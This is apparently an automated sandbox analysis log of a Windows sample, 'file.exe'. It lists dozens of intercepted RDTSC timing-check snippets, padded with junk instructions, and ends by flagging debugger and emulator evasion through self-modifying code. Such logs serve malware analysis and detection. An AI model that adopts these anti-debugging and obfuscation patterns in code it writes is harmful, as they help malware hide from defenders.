Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148FC0A second address: 148FC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007FBF2CC641F1h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148DEEC second address: 148DEF4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E04C second address: 148E056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FBF2CC641E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E056 second address: 148E05A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E05A second address: 148E06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF2CC641EBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E06F second address: 148E075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E35F second address: 148E365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E5E9 second address: 148E5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E5F7 second address: 148E607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jc 00007FBF2CC641FAh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E607 second address: 148E60D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E60D second address: 148E611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E71D second address: 148E723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E723 second address: 148E73D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop edi 0x00000009 push eax 0x0000000a jg 00007FBF2CC641E6h 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148ECC8 second address: 148ECE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF2D4D1A3Fh 0x00000009 jno 00007FBF2D4D1A36h 0x0000000f popad 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148ECE9 second address: 148ECFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jno 00007FBF2CC641E6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148DABE second address: 148DAD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FBF2D4D1A42h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1492FE8 second address: 149300E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FBF2CC64204h 0x0000000c jmp 00007FBF2CC641F8h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149300E second address: 1493016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493016 second address: 149302E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF2CC641F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149302E second address: 149306A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FBF2D4D1A3Ch 0x0000000f jnp 00007FBF2D4D1A36h 0x00000015 popad 0x00000016 pushad 0x00000017 jns 00007FBF2D4D1A42h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149306A second address: 1493070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1493070 second address: 1493098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007FBF2D4D1A42h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496F75 second address: 1496F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496F79 second address: 1496F84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496F84 second address: 1496F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496F8F second address: 1496F93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496B70 second address: 1496B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496B77 second address: 1496B89 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBF2D4D1A3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496B89 second address: 1496B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBF2CC641E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A2BD4 second address: 14A2BE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FBF2D4D1A36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A2AA7 second address: 14A2AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A6283 second address: 14A628A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A5C42 second address: 14A5C4E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBF2CC641E6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A9E02 second address: 14A9E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBF2D4D1A49h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A9E22 second address: 14A9E28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A9C91 second address: 14A9C9D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBF2D4D1A36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14A9C9D second address: 14A9CA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AD0E5 second address: 14AD104 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B24FB second address: 14B2506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBF2CC641E6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B2506 second address: 14B2514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF2D4D1A3Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BA485 second address: 14BA489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BA489 second address: 14BA497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FBF2D4D1A42h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BA497 second address: 14BA4A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FBF2CC641E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BA333 second address: 14BA337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C11AE second address: 14C11F6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBF2CC641EDh 0x0000000d jno 00007FBF2CC641ECh 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FBF2CC641F9h 0x00000020 jnl 00007FBF2CC641E6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C11F6 second address: 14C1208 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBF2D4D1A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FBF2D4D1A36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1957 second address: 14C1964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007FBF2CC641EEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1964 second address: 14C1974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FBF2D4D1A36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1AA4 second address: 14C1AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FBF2CC641E6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1AB5 second address: 14C1AC1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBF2D4D1A36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1AC1 second address: 14C1AC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1AC6 second address: 14C1ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1ACE second address: 14C1AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBF2CC641F8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1AF1 second address: 14C1AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1AF5 second address: 14C1B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FBF2CC641E8h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C1B03 second address: 14C1B19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF2D4D1A41h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C70E9 second address: 14C70F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C70F5 second address: 14C70FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C70FA second address: 14C7100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C7100 second address: 14C7104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C6C20 second address: 14C6C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C6C26 second address: 14C6C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C6C2A second address: 14C6C46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2CC641F2h 0x00000007 jo 00007FBF2CC641ECh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C6DA8 second address: 14C6DBD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBF2D4D1A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007FBF2D4D1A36h 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C6DBD second address: 14C6DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C6DC2 second address: 14C6DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4EAE second address: 14E4ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007FBF2CC641F9h 0x0000000d jmp 00007FBF2CC641EDh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4ECA second address: 14E4EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 jmp 00007FBF2D4D1A43h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4EE6 second address: 14E4EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4A47 second address: 14E4A4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4A4B second address: 14E4A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBF2CC641EAh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4A61 second address: 14E4A6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4A6B second address: 14E4A7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FBF2CC641E8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F467E second address: 14F4682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F4682 second address: 14F4686 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F38F4 second address: 14F38F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F38F8 second address: 14F3902 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBF2CC641E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14F3902 second address: 14F3939 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF2D4D1A42h 0x00000008 jmp 00007FBF2D4D1A3Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FBF2D4D1A45h 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14FB40F second address: 14FB414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14FB656 second address: 14FB65A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14FB65A second address: 14FB70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FBF2CC641EBh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 jmp 00007FBF2CC641F3h 0x00000017 pushad 0x00000018 jnc 00007FBF2CC641E6h 0x0000001e jne 00007FBF2CC641E6h 0x00000024 popad 0x00000025 popad 0x00000026 nop 0x00000027 call 00007FBF2CC641EDh 0x0000002c movsx edx, si 0x0000002f pop edx 0x00000030 push dword ptr [ebp+12455EA3h] 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007FBF2CC641E8h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 or dl, 00000019h 0x00000053 mov dword ptr [ebp+122D3481h], edx 0x00000059 call 00007FBF2CC641E9h 0x0000005e ja 00007FBF2CC641FEh 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jnc 00007FBF2CC641ECh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14FB70B second address: 14FB716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FBF2D4D1A36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14FB716 second address: 14FB726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E02F9 second address: 50E02FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E02FD second address: 50E0303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0303 second address: 50E0314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF2D4D1A3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0314 second address: 50E0334 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2CC641F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0334 second address: 50E0338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0338 second address: 50E033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A7DA second address: 141A800 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBF2D4D1A4Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A800 second address: 141A804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A804 second address: 141A80E instructions: 0x00000000 rdtsc 0x00000002 js 00007FBF2D4D1A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A80E second address: 141A814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0B21 second address: 50E0B6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FBF2D4D1A3Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ax, dx 0x00000014 mov dx, 4DA0h 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FBF2D4D1A41h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E0B6D second address: 50E0B73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

